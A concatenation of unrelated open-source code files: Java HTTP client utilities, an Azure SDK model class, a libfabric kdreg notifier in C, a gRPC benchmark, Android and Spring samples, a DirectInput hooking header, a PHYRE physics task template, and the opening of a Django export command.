public HttpClient getHttpsClient(String trustStoreType, String trustStorePath, String trustStorePassword) {
HttpClient httpClient = new SslDefaultHttpClient(trustStoreType, trustStorePath, trustStorePassword);
return httpClient;
}
public HttpClient getHttpsClient(String trustStoreType, String trustStorePath, String trustStorePassword,
String keyStoreType, String keyStorePath, String keyStorePassword) {
HttpClient httpClient = new SslDefaultHttpClient(trustStoreType, trustStorePath, trustStorePassword,
keyStoreType, keyStorePath, keyStorePassword);
return httpClient;
}
public HttpServiceResponse executePost(HttpClient httpClient, String uri, String authData, Map<String, String> headers, String postData, ContentType contentType) {
HttpPost httpPost = new HttpPost(uri);
if (StringHelper.isNotEmpty(authData)) {
httpPost.setHeader("Authorization", "Basic " + authData);
}
if (headers != null) {
for (Entry<String, String> headerEntry : headers.entrySet()) {
httpPost.setHeader(headerEntry.getKey(), headerEntry.getValue());
}
}
StringEntity stringEntity = new StringEntity(postData, contentType);
httpPost.setEntity(stringEntity);
try {
HttpResponse httpResponse = httpClient.execute(httpPost);
return new HttpServiceResponse(httpPost, httpResponse);
} catch (IOException ex) {
log.error("Failed to execute post request", ex);
}
return null;
}
public HttpServiceResponse executePost(HttpClient httpClient, String uri, String authData, Map<String, String> headers, String postData) {
return executePost(httpClient, uri, authData, headers, postData, null);
}
public HttpServiceResponse executePost(HttpClient httpClient, String uri, String authData, String postData, ContentType contentType) {
return executePost(httpClient, uri, authData, null, postData, contentType);
}
public String encodeBase64(String value) {
try {
return new String(base64.encode((value).getBytes(Util.UTF8)), Util.UTF8);
} catch (UnsupportedEncodingException ex) {
log.error("Failed to convert '{}' to base64", value, ex);
}
return null;
}
public String encodeUrl(String value) {
try {
return URLEncoder.encode(value, Util.UTF8);
} catch (UnsupportedEncodingException ex) {
log.error("Failed to encode url '{}'", value, ex);
}
return null;
}
public HttpServiceResponse executeGet(HttpClient httpClient, String requestUri, Map<String, String> headers) {
HttpGet httpGet = new HttpGet(requestUri);
if (headers != null) {
for (Entry<String, String> headerEntry : headers.entrySet()) {
httpGet.setHeader(headerEntry.getKey(), headerEntry.getValue());
}
}
try {
HttpResponse httpResponse = httpClient.execute(httpGet);
return new HttpServiceResponse(httpGet, httpResponse);
} catch (IOException ex) {
log.error("Failed to execute get request", ex);
}
return null;
}
public HttpServiceResponse executeGet(HttpClient httpClient, String requestUri) throws ClientProtocolException, IOException {
return executeGet(httpClient, requestUri, null);
}
public byte[] getResponseContent(HttpResponse httpResponse) throws IOException {
if ((httpResponse == null) || (httpResponse.getStatusLine().getStatusCode() != HttpStatus.SC_OK)) {
return null;
}
HttpEntity entity = httpResponse.getEntity();
byte[] responseBytes = new byte[0];
if (entity != null) {
responseBytes = EntityUtils.toByteArray(entity);
}
// Consume response content
if (entity != null) {
EntityUtils.consume(entity);
}
return responseBytes;
}
public void consume(HttpResponse httpResponse) throws IOException {
if ((httpResponse == null) || (httpResponse.getStatusLine().getStatusCode() != HttpStatus.SC_OK)) {
return;
}
// Consume response content
HttpEntity entity = httpResponse.getEntity();
if (entity != null) {
EntityUtils.consume(entity);
}
}
public String convertEntityToString(byte[] responseBytes) {
if (responseBytes == null) {
return null;
}
return new String(responseBytes);
}
public String convertEntityToString(byte[] responseBytes, Charset charset) {
if (responseBytes == null) {
return null;
}
return new String(responseBytes, charset);
}
public String convertEntityToString(byte[] responseBytes, String charsetName) throws UnsupportedEncodingException {
if (responseBytes == null) {
return null;
}
return new String(responseBytes, charsetName);
}
public boolean isResponseStastusCodeOk(HttpResponse httpResponse) {
int responseStastusCode = httpResponse.getStatusLine().getStatusCode();
if (responseStastusCode == HttpStatus.SC_OK) {
return true;
}
return false;
}
public boolean isContentTypeXml(HttpResponse httpResponse) {
Header contentType = httpResponse.getEntity().getContentType();
if (contentType == null) {
return false;
}
String contentTypeValue = contentType.getValue();
if (StringHelper.equals(contentTypeValue, ContentType.APPLICATION_XML.getMimeType()) || StringHelper.equals(contentTypeValue, ContentType.TEXT_XML.getMimeType())) {
return true;
}
return false;
}
public String constructServerUrl(final HttpServletRequest request) {
int serverPort = request.getServerPort();
String redirectUrl;
if ((serverPort == 80) || (serverPort == 443)) {
redirectUrl = String.format("%s://%s%s", request.getScheme(), request.getServerName(), request.getContextPath());
} else {
redirectUrl = String.format("%s://%s:%s%s", request.getScheme(), request.getServerName(), request.getServerPort(), request.getContextPath());
}
return redirectUrl.toLowerCase();
}
}
| 3,190 |
1,350 | <filename>sdk/costmanagement/azure-resourcemanager-costmanagement/src/main/java/com/azure/resourcemanager/costmanagement/fluent/models/ExportProperties.java
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
// Code generated by Microsoft (R) AutoRest Code Generator.
package com.azure.resourcemanager.costmanagement.fluent.models;
import com.azure.core.annotation.Fluent;
import com.azure.core.util.logging.ClientLogger;
import com.azure.resourcemanager.costmanagement.models.CommonExportProperties;
import com.azure.resourcemanager.costmanagement.models.ExportDefinition;
import com.azure.resourcemanager.costmanagement.models.ExportDeliveryInfo;
import com.azure.resourcemanager.costmanagement.models.ExportSchedule;
import com.azure.resourcemanager.costmanagement.models.FormatType;
import com.fasterxml.jackson.annotation.JsonIgnore;
import com.fasterxml.jackson.annotation.JsonProperty;
/** The properties of the export. */
@Fluent
public final class ExportProperties extends CommonExportProperties {
@JsonIgnore private final ClientLogger logger = new ClientLogger(ExportProperties.class);
/*
* Has schedule information for the export.
*/
@JsonProperty(value = "schedule")
private ExportSchedule schedule;
/**
* Get the schedule property: Has schedule information for the export.
*
* @return the schedule value.
*/
public ExportSchedule schedule() {
return this.schedule;
}
/**
* Set the schedule property: Has schedule information for the export.
*
* @param schedule the schedule value to set.
* @return the ExportProperties object itself.
*/
public ExportProperties withSchedule(ExportSchedule schedule) {
this.schedule = schedule;
return this;
}
/** {@inheritDoc} */
@Override
public ExportProperties withFormat(FormatType format) {
super.withFormat(format);
return this;
}
/** {@inheritDoc} */
@Override
public ExportProperties withDeliveryInfo(ExportDeliveryInfo deliveryInfo) {
super.withDeliveryInfo(deliveryInfo);
return this;
}
/** {@inheritDoc} */
@Override
public ExportProperties withDefinition(ExportDefinition definition) {
super.withDefinition(definition);
return this;
}
/**
* Validates the instance.
*
* @throws IllegalArgumentException thrown if the instance is not valid.
*/
@Override
public void validate() {
super.validate();
if (schedule() != null) {
schedule().validate();
}
}
}
| 890 |
1,602 | /*
* Copyright (c) 2016 Cray Inc. All rights reserved.
* Copyright (c) 2017 Los Alamos National Security, LLC.
* All rights reserved.
*
* This software is available to you under a choice of one of two
* licenses. You may choose to be licensed under the terms of the GNU
* General Public License (GPL) Version 2, available from the file
* COPYING in the main directory of this source tree, or the
* BSD license below:
*
* Redistribution and use in source and binary forms, with or
* without modification, are permitted provided that the following
* conditions are met:
*
* - Redistributions of source code must retain the above
* copyright notice, this list of conditions and the following
* disclaimer.
*
* - Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials
* provided with the distribution.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
* BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
* ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#include "gnix_mr_notifier.h"
#if HAVE_KDREG
struct gnix_mr_notifier global_mr_not;
static inline int
notifier_verify_stuff(struct gnix_mr_notifier *mrn) {
/* Can someone confirm that these values are POSIX so we can
* be less pedantic? */
if (mrn->fd == STDIN_FILENO ||
mrn->fd == STDOUT_FILENO ||
mrn->fd == STDERR_FILENO ||
mrn->fd < 0) {
// Be quiet here
return -FI_EBADF;
}
if (mrn->cntr == NULL) {
// Be quiet here
return -FI_ENODATA;
}
return FI_SUCCESS;
}
int
_gnix_notifier_init(void)
{
global_mr_not.fd = -1;
global_mr_not.cntr = NULL;
fastlock_init(&global_mr_not.lock);
global_mr_not.ref_cnt = 0;
return FI_SUCCESS;
}
int
_gnix_notifier_open(struct gnix_mr_notifier **mrn)
{
int ret = FI_SUCCESS;
int kdreg_fd, ret_errno;
kdreg_get_user_delta_args_t get_user_delta_args;
fastlock_acquire(&global_mr_not.lock);
if (!global_mr_not.ref_cnt) {
kdreg_fd = open(KDREG_DEV, O_RDWR | O_NONBLOCK);
if (kdreg_fd < 0) {
ret_errno = errno;
GNIX_WARN(FI_LOG_MR,
"kdreg device open failed: %s\n",
strerror(ret_errno));
/* Not all of these map to fi_errno values */
ret = -ret_errno;
goto err_exit;
}
memset(&get_user_delta_args, 0, sizeof(get_user_delta_args));
if (ioctl(kdreg_fd, KDREG_IOC_GET_USER_DELTA,
&get_user_delta_args) < 0) {
ret_errno = errno;
GNIX_WARN(FI_LOG_MR,
"kdreg get_user_delta failed: %s\n",
strerror(ret_errno));
close(kdreg_fd);
/* Not all of these map to fi_errno values */
ret = -ret_errno;
goto err_exit;
}
if (get_user_delta_args.user_delta == NULL) {
GNIX_WARN(FI_LOG_MR, "kdreg get_user_delta is NULL\n");
ret = -FI_ENODATA;
goto err_exit;
}
global_mr_not.fd = kdreg_fd;
global_mr_not.cntr = (kdreg_user_delta_t *)
get_user_delta_args.user_delta;
}
global_mr_not.ref_cnt++;
*mrn = &global_mr_not;
err_exit:
fastlock_release(&global_mr_not.lock);
return ret;
}
int
_gnix_notifier_close(struct gnix_mr_notifier *mrn)
{
int ret = FI_SUCCESS;
int ret_errno;
fastlock_acquire(&mrn->lock);
ret = notifier_verify_stuff(mrn);
if (ret != FI_SUCCESS) {
GNIX_WARN(FI_LOG_MR, "Invalid MR notifier\n");
goto err_exit;
}
assert(mrn->ref_cnt > 0);
if (--mrn->ref_cnt) {
goto err_exit;
}
if (close(mrn->fd) != 0) {
ret_errno = errno;
GNIX_WARN(FI_LOG_MR, "error closing kdreg device: %s\n",
strerror(ret_errno));
/* Not all of these map to fi_errno values */
ret = -ret_errno;
goto err_exit;
}
mrn->fd = -1;
mrn->cntr = NULL;
err_exit:
fastlock_release(&mrn->lock);
return ret;
}
static inline int
kdreg_write(struct gnix_mr_notifier *mrn, void *buf, size_t len)
{
int ret;
ret = write(mrn->fd, buf, len);
if ((ret < 0) || (ret != len)) {
// Not all of these map to fi_errno values
ret = -errno;
GNIX_WARN(FI_LOG_MR, "kdreg_write failed: %s\n",
strerror(errno));
return ret;
}
return FI_SUCCESS;
}
int
_gnix_notifier_monitor(struct gnix_mr_notifier *mrn,
void *addr, uint64_t len, uint64_t cookie)
{
int ret;
struct registration_monitor rm;
fastlock_acquire(&mrn->lock);
ret = notifier_verify_stuff(mrn);
if (ret != FI_SUCCESS) {
GNIX_WARN(FI_LOG_MR, "Invalid MR notifier\n");
goto err_exit;
}
if (ret == 0) {
GNIX_DEBUG(FI_LOG_MR, "monitoring %p (len=%lu) cookie=%lu\n",
addr, len, cookie);
memset(&rm, 0, sizeof(rm));
rm.type = REGISTRATION_MONITOR;
rm.u.mon.addr = (uint64_t) addr;
rm.u.mon.len = len;
rm.u.mon.user_cookie = cookie;
ret = kdreg_write(mrn, &rm, sizeof(rm));
}
err_exit:
fastlock_release(&mrn->lock);
return ret;
}
int
_gnix_notifier_unmonitor(struct gnix_mr_notifier *mrn, uint64_t cookie)
{
int ret;
struct registration_monitor rm;
fastlock_acquire(&mrn->lock);
ret = notifier_verify_stuff(mrn);
if (ret != FI_SUCCESS) {
GNIX_WARN(FI_LOG_MR, "Invalid MR notifier\n");
goto err_exit;
}
GNIX_DEBUG(FI_LOG_MR, "unmonitoring cookie=%lu\n", cookie);
memset(&rm, 0, sizeof(rm));
rm.type = REGISTRATION_UNMONITOR;
rm.u.unmon.user_cookie = cookie;
ret = kdreg_write(mrn, &rm, sizeof(rm));
err_exit:
fastlock_release(&mrn->lock);
return ret;
}
int
_gnix_notifier_get_event(struct gnix_mr_notifier *mrn, void* buf, size_t len)
{
int ret, ret_errno;
if ((mrn == NULL) || (buf == NULL) || (len <= 0)) {
GNIX_WARN(FI_LOG_MR,
"Invalid argument to _gnix_notifier_get_event\n");
return -FI_EINVAL;
}
fastlock_acquire(&mrn->lock);
if (*(mrn->cntr) > 0) {
GNIX_DEBUG(FI_LOG_MR, "reading kdreg event\n");
ret = read(mrn->fd, buf, len);
if (ret < 0) {
ret_errno = errno;
if (ret_errno != EAGAIN) {
GNIX_WARN(FI_LOG_MR,
"kdreg event read failed: %s\n",
strerror(ret_errno));
}
/* Not all of these map to fi_errno values */
ret = -ret_errno;
}
} else {
GNIX_DEBUG(FI_LOG_MR, "nothing to read from kdreg :(\n");
ret = -FI_EAGAIN;
}
fastlock_release(&mrn->lock);
return ret;
}
#endif /* HAVE_KDREG */
| 2,817 |
10,245 | <filename>context/src/jmh/java/io/grpc/AttachDetachBenchmark.java
/*
* Copyright 2016 The gRPC Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package io.grpc;
import java.util.concurrent.TimeUnit;
import org.openjdk.jmh.annotations.Benchmark;
import org.openjdk.jmh.annotations.BenchmarkMode;
import org.openjdk.jmh.annotations.GroupThreads;
import org.openjdk.jmh.annotations.Mode;
import org.openjdk.jmh.annotations.OutputTimeUnit;
import org.openjdk.jmh.annotations.Scope;
import org.openjdk.jmh.annotations.State;
/** StatusBenchmark. */
@State(Scope.Benchmark)
public class AttachDetachBenchmark {
private final Context.Key<Integer> key = Context.keyWithDefault("key", 9999);
private final Context cu = Context.current().withValue(key, 8888);
/**
* Javadoc comment.
*/
@Benchmark
@BenchmarkMode(Mode.SampleTime)
@OutputTimeUnit(TimeUnit.NANOSECONDS)
@GroupThreads(6)
public int attachDetach() {
Context old = cu.attach();
try {
return key.get();
} finally {
Context.current().detach(old);
}
}
}
| 525 |
642 | package com.jeesuite.springweb.ext.feign;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import org.springframework.cloud.openfeign.EnableFeignClients;
import org.springframework.cloud.openfeign.FeignClient;
import com.jeesuite.common.util.ClassScanner;
/**
*
* <br>
* Class Name : FeignApiDependencyParser
*
* @author jiangwei
* @version 1.0.0
* @date 2018年6月15日
*/
public class FeignApiDependencyScanner {
public static List<String> doScan(List<String> classNames){
List<String> svcNames = new ArrayList<>();
Class<?> clazz = null;
Set<String> apiPackages = new HashSet<>();
for (String className : classNames) {
try {
clazz = Class.forName(className);
} catch (ClassNotFoundException e) {
continue;
}
if(clazz.isAnnotationPresent(EnableFeignClients.class)) {
String[] basePackages = clazz.getAnnotation(EnableFeignClients.class).basePackages();
for (String p : basePackages) {
apiPackages.add(p.substring(0,p.lastIndexOf(".")));
}
}
}
List<String> apiClassNames;
for (String p : apiPackages) {
apiClassNames = ClassScanner.scan(p);
for (String className : apiClassNames) {
try {
clazz = Class.forName(className);
} catch (ClassNotFoundException e) {
continue;
}
if(clazz.isAnnotationPresent(FeignClient.class)) {
svcNames.add(clazz.getAnnotation(FeignClient.class).value());
}
}
}
return svcNames;
}
}
| 605 |
953 | package com.xiaochen.demo;
import android.graphics.Color;
import android.os.Bundle;
import android.os.Handler;
import androidx.appcompat.app.AppCompatActivity;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.SeekBar;
import android.widget.TextView;
import com.xiaochen.progressroundbutton.AnimButtonLayout;
import com.xiaochen.progressroundbutton.AnimDownloadProgressButton;
public class MainActivity extends AppCompatActivity {
private static final String TAG = MainActivity.class.getSimpleName();
AnimDownloadProgressButton mAnimDownloadProgressButton;
AnimDownloadProgressButton mAnimDownloadProgressButton2;
AnimButtonLayout mAnimButtonLayout;
Button mReset;
TextView mDescription;
SeekBar mSeekBar;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
mReset = findViewById(R.id.reset);
mSeekBar = findViewById(R.id.seekBar);
mDescription = findViewById(R.id.description);
mAnimDownloadProgressButton = findViewById(R.id.anim_btn);
mAnimDownloadProgressButton.setCurrentText("安装");
// mAnimDownloadProgressButton.setTextSize(60f);
mAnimDownloadProgressButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
showTheButton(R.id.anim_btn);
}
});
mAnimDownloadProgressButton.setOnFocusChangeListener(new View.OnFocusChangeListener() {
@Override
public void onFocusChange(View v, boolean hasFocus) {
if (hasFocus) {
mAnimDownloadProgressButton.setProgressBtnBackgroundColor(Color.parseColor("#0000ff"));
} else {
mAnimDownloadProgressButton.setProgressBtnBackgroundColor(Color.parseColor("#00ff00"));
}
}
});
mAnimDownloadProgressButton2 = findViewById(R.id.anim_btn2);
mAnimDownloadProgressButton2.setCurrentText("安装");
mAnimDownloadProgressButton2.setTextSize(60f);
mAnimDownloadProgressButton2.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
showTheButton(R.id.anim_btn2);
}
});
mAnimButtonLayout = findViewById(R.id.anim_btn3);
mAnimButtonLayout.setCurrentText("安装");
mAnimButtonLayout.setTextSize(60f);
mAnimButtonLayout.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
showTheButton(R.id.anim_btn3);
}
});
mReset.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
mAnimDownloadProgressButton.setState(AnimDownloadProgressButton.NORMAL);
mAnimDownloadProgressButton.setCurrentText("安装");
mAnimDownloadProgressButton.setProgress(0);
}
});
mSeekBar.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener() {
@Override
public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
mAnimDownloadProgressButton.setButtonRadius((progress / 100.0f) * mAnimDownloadProgressButton.getHeight() / 2);
mAnimDownloadProgressButton.postInvalidate();
}
@Override
public void onStartTrackingTouch(SeekBar seekBar) {
}
@Override
public void onStopTrackingTouch(SeekBar seekBar) {
}
});
mDescription.setText(" This is a DownloadProgressButton library with Animation," +
"you can change radius,textColor,coveredTextColor,backgroundColor,etc in" +
" your code or just in xml.\n\n" +
"The library is open source in github https://github.com/cctanfujun/ProgressRoundButton .\n" +
"Hope you like it ");
}
private void showTheButton(int id) {
switch (id) {
case R.id.anim_btn:
mAnimDownloadProgressButton.setState(AnimDownloadProgressButton.DOWNLOADING);
mAnimDownloadProgressButton.setProgressText("下载中", mAnimDownloadProgressButton.getProgress() + 8);
Log.d(TAG, "showTheButton: " + mAnimDownloadProgressButton.getProgress());
if (mAnimDownloadProgressButton.getProgress() + 10 > 100) {
mAnimDownloadProgressButton.setState(AnimDownloadProgressButton.INSTALLING);
mAnimDownloadProgressButton.setCurrentText("安装中");
new Handler().postDelayed(new Runnable() {
public void run() {
mAnimDownloadProgressButton.setState(AnimDownloadProgressButton.NORMAL);
mAnimDownloadProgressButton.setCurrentText("打开");
}
}, 2000); //2秒
}
break;
case R.id.anim_btn2:
mAnimDownloadProgressButton2.setState(AnimDownloadProgressButton.DOWNLOADING);
mAnimDownloadProgressButton2.setProgressText("下载中", mAnimDownloadProgressButton2.getProgress() + 8);
Log.d(TAG, "showTheButton: " + mAnimDownloadProgressButton2.getProgress());
if (mAnimDownloadProgressButton2.getProgress() + 10 > 100) {
mAnimDownloadProgressButton2.setState(AnimDownloadProgressButton.INSTALLING);
mAnimDownloadProgressButton2.setCurrentText("安装中");
new Handler().postDelayed(new Runnable() {
public void run() {
mAnimDownloadProgressButton2.setState(AnimDownloadProgressButton.NORMAL);
mAnimDownloadProgressButton2.setCurrentText("打开");
}
}, 2000); //2秒
}
break;
case R.id.anim_btn3:
mAnimButtonLayout.setState(AnimDownloadProgressButton.DOWNLOADING);
mAnimButtonLayout.setProgressText("下载中", mAnimButtonLayout.getProgress() + 8);
Log.d(TAG, "showTheButton: " + mAnimButtonLayout.getProgress());
if (mAnimButtonLayout.getProgress() + 10 > 100) {
mAnimButtonLayout.setState(AnimDownloadProgressButton.INSTALLING);
mAnimButtonLayout.setCurrentText("安装中");
new Handler().postDelayed(new Runnable() {
public void run() {
mAnimButtonLayout.setState(AnimDownloadProgressButton.NORMAL);
mAnimButtonLayout.setCurrentText("打开");
}
}, 2000); //2秒
}
break;
}
}
}
| 3,256 |
32,544 | package com.baeldung.conditionalonproperty.config;
import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import com.baeldung.conditionalonproperty.service.EmailNotification;
import com.baeldung.conditionalonproperty.service.NotificationSender;
import com.baeldung.conditionalonproperty.service.SmsNotification;
@Configuration
public class NotificationConfig {
@Bean(name = "emailNotification")
@ConditionalOnProperty(prefix = "notification", name = "service", havingValue = "email")
public NotificationSender notificationSender() {
return new EmailNotification();
}
@Bean(name = "smsNotification")
@ConditionalOnProperty(prefix = "notification", name = "service", havingValue = "sms")
public NotificationSender notificationSender2() {
return new SmsNotification();
}
}
| 322 |
672 | <reponame>AutoGavy/cnc-ddraw<filename>inc/directinput.h
#ifndef DINPUTINPUT_H
#define DINPUTINPUT_H
#define DIRECTINPUT_VERSION 0x0800
#include <dinput.h>
typedef HRESULT(WINAPI* DIRECTINPUTCREATEAPROC)(HINSTANCE, DWORD, LPDIRECTINPUTA*, LPUNKNOWN);
typedef HRESULT(WINAPI* DIRECTINPUTCREATEWPROC)(HINSTANCE, DWORD, LPDIRECTINPUTW*, LPUNKNOWN);
typedef HRESULT(WINAPI* DIRECTINPUTCREATEEXPROC)(HINSTANCE, DWORD, REFIID, LPDIRECTINPUT7A*, LPUNKNOWN);
typedef HRESULT(WINAPI* DIRECTINPUT8CREATEPROC)(HINSTANCE, DWORD, REFIID, LPDIRECTINPUT8*, LPUNKNOWN);
typedef HRESULT(WINAPI* DICREATEDEVICEPROC)(IDirectInputA*, REFGUID, LPDIRECTINPUTDEVICEA*, LPUNKNOWN);
typedef HRESULT(WINAPI* DICREATEDEVICEEXPROC)(IDirectInputA*, REFGUID, REFIID, LPDIRECTINPUTDEVICEA*, LPUNKNOWN);
typedef HRESULT(WINAPI* DIDSETCOOPERATIVELEVELPROC)(IDirectInputDeviceA*, HWND, DWORD);
typedef HRESULT(WINAPI* DIDGETDEVICEDATAPROC)(IDirectInputDeviceA*, DWORD, LPDIDEVICEOBJECTDATA, LPDWORD, DWORD);
typedef HRESULT(WINAPI* DIDGETDEVICESTATEPROC)(IDirectInputDeviceA*, DWORD, LPVOID);
extern DIRECTINPUTCREATEAPROC real_DirectInputCreateA;
extern DIRECTINPUTCREATEWPROC real_DirectInputCreateW;
extern DIRECTINPUTCREATEEXPROC real_DirectInputCreateEx;
extern DIRECTINPUT8CREATEPROC real_DirectInput8Create;
HRESULT WINAPI fake_DirectInputCreateA(HINSTANCE hinst, DWORD dwVersion, LPDIRECTINPUTA* lplpDirectInput, LPUNKNOWN punkOuter);
HRESULT WINAPI fake_DirectInputCreateW(HINSTANCE hinst, DWORD dwVersion, LPDIRECTINPUTW* lplpDirectInput, LPUNKNOWN punkOuter);
HRESULT WINAPI fake_DirectInputCreateEx(HINSTANCE hinst, DWORD dwVersion, REFIID riidltf, LPDIRECTINPUT7A* ppvOut, LPUNKNOWN punkOuter);
HRESULT WINAPI fake_DirectInput8Create(HINSTANCE hinst, DWORD dwVersion, REFIID riidltf, LPDIRECTINPUT8* ppvOut, LPUNKNOWN punkOuter);
#endif
| 720 |
559 | <filename>tests/blocks/signal/bandstopfilter_spec.py
import numpy
import scipy.signal
from generate import *
def generate():
def process(num_taps, cutoffs, nyquist, window, x):
b = scipy.signal.firwin(num_taps, cutoffs, pass_zero=True, window=window, nyq=nyquist)
return [scipy.signal.lfilter(b, 1, x).astype(type(x[0]))]
vectors = []
x = random_complex64(256)
vectors.append(TestVector([129, [0.1, 0.3]], [x], process(129, [0.1, 0.3], 1.0, "hamming", x), "129 taps, {0.1, 0.3} cutoff, 256 ComplexFloat32 input, 256 ComplexFloat32 output"))
vectors.append(TestVector([129, [0.4, 0.6]], [x], process(129, [0.4, 0.6], 1.0, "hamming", x), "129 taps, {0.4, 0.6} cutoff, 256 ComplexFloat32 input, 256 ComplexFloat32 output"))
vectors.append(TestVector([129, [0.1, 0.3], 3.0, '"bartlett"'], [x], process(129, [0.1, 0.3], 3.0, "bartlett", x), "129 taps, {0.1, 0.3} cutoff, 3.0 nyquist, bartlett window, 256 ComplexFloat32 input, 256 ComplexFloat32 output"))
vectors.append(TestVector([129, [0.4, 0.6], 3.0, '"bartlett"'], [x], process(129, [0.4, 0.6], 3.0, "bartlett", x), "129 taps, {0.4, 0.6} cutoff, 3.0 nyquist, bartlett window, 256 ComplexFloat32 input, 256 ComplexFloat32 output"))
x = random_float32(256)
vectors.append(TestVector([129, [0.1, 0.3]], [x], process(129, [0.1, 0.3], 1.0, "hamming", x), "129 taps, {0.1, 0.3} cutoff, 256 Float32 input, 256 Float32 output"))
vectors.append(TestVector([129, [0.4, 0.6]], [x], process(129, [0.4, 0.6], 1.0, "hamming", x), "129 taps, {0.4, 0.6} cutoff, 256 Float32 input, 256 Float32 output"))
vectors.append(TestVector([129, [0.1, 0.3], 3.0, '"bartlett"'], [x], process(129, [0.1, 0.3], 3.0, "bartlett", x), "129 taps, {0.1, 0.3} cutoff, 3.0 nyquist, bartlett window, 256 Float32 input, 256 ComplexFloat32 output"))
vectors.append(TestVector([129, [0.4, 0.6], 3.0, '"bartlett"'], [x], process(129, [0.4, 0.6], 3.0, "bartlett", x), "129 taps, {0.4, 0.6} cutoff, 3.0 nyquist, bartlett window, 256 Float32 input, 256 ComplexFloat32 output"))
return BlockSpec("BandstopFilterBlock", vectors, 1e-6)
| 882 |
378 | package com.quickblox.sample.chat.java.utils.qb;
import android.util.SparseArray;
import com.quickblox.users.model.QBUser;
import java.util.ArrayList;
import java.util.List;
/**
* Basically in your app you should store users in database
* And load users to memory on demand
* We're using runtime SpaceArray holder just to simplify app logic
*/
public class QbUsersHolder {
private static QbUsersHolder instance;
private SparseArray<QBUser> qbUserSparseArray;
public static synchronized QbUsersHolder getInstance() {
if (instance == null) {
instance = new QbUsersHolder();
}
return instance;
}
private QbUsersHolder() {
qbUserSparseArray = new SparseArray<>();
}
public void putUsers(List<QBUser> users) {
for (QBUser user : users) {
if (user != null) {
putUser(user);
}
}
}
public void putUser(QBUser user) {
qbUserSparseArray.put(user.getId(), user);
}
public QBUser getUserById(int id) {
return qbUserSparseArray.get(id);
}
public List<QBUser> getUsersByIds(List<Integer> ids) {
List<QBUser> users = new ArrayList<>();
for (Integer id : ids) {
QBUser user = getUserById(id);
if (user != null) {
users.add(user);
}
}
return users;
}
public boolean hasAllUsers(List<Integer> usersIds) {
for (Integer userId : usersIds) {
if (qbUserSparseArray.get(userId) == null) {
return false;
}
}
return true;
}
} | 733 |
432 | # Copyright (c) Facebook, Inc. and its affiliates.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Template task in which one ball must be hit into a container."""
import numpy as np
import phyre.creator as creator_lib
import phyre.virtual_tools as vt
@creator_lib.define_task_template(
seed=range(1000),
version="2",
search_params=dict(
max_search_tasks=300,
required_flags=['BALL:GOOD_STABLE'],
excluded_flags=['BALL:TRIVIAL'],
),
)
def build_task(C, seed):
rng = np.random.RandomState(seed=seed)
tableWidth = [100, 400]
tableHeight = [100, 400]
ballSize = [10, 30]
goalHeight = [50, 200]
flip_lr = rng.uniform(0, 1) < 0.5
tableDims = [
rng.uniform(tableWidth[0], tableWidth[1]),
rng.uniform(tableHeight[0], tableHeight[1])
]
ballRad = rng.uniform(ballSize[0], ballSize[1])
ballPos = rng.uniform(ballRad + 5, tableDims[0] - ballRad - 5)
goalDims = [
rng.uniform(ballRad * 2 + 5, vt.VT_SCALE - tableDims[0] - 30),
rng.uniform(goalHeight[0], tableDims[1] - 10)
]
goalXPos = rng.uniform(tableDims[0] + 10, (vt.VT_SCALE - goalDims[0] - 10))
table = vt.add_box(C, [0, 0, tableDims[0], tableDims[1]],
False,
flip_lr=flip_lr)
if flip_lr:
center_x = vt.flip_left_right(ballPos)
else:
center_x = ballPos
ball = C.add('dynamic ball',
ballRad * 2 / vt.VT_SCALE,
center_x=center_x * C.scene.width / vt.VT_SCALE,
bottom=tableDims[1] * C.scene.height / vt.VT_SCALE)
goalVerts = [[goalXPos, goalDims[1]], [goalXPos, 5],
[goalXPos + goalDims[0], 5],
[goalXPos + goalDims[0], goalDims[1]]]
container_id, bbid = vt.add_container(C,
goalVerts,
10,
False,
True,
flip_lr=flip_lr)
C.update_task(body1=ball,
body2=container_id,
relationships=[C.SpatialRelationship.TOUCHING])
C.set_meta(C.SolutionTier.VIRTUAL_TOOLS)
| 1,342 |
1,345 | from django.core.management.base import BaseCommand, CommandError
from annotator.models import Video
import os
import json
import re
import os
import shutil
import subprocess
import math
class Command(BaseCommand):
help = r'''Exports video annotations
This command creates JSON annotation files from video annotations. Besides keyframe annotations
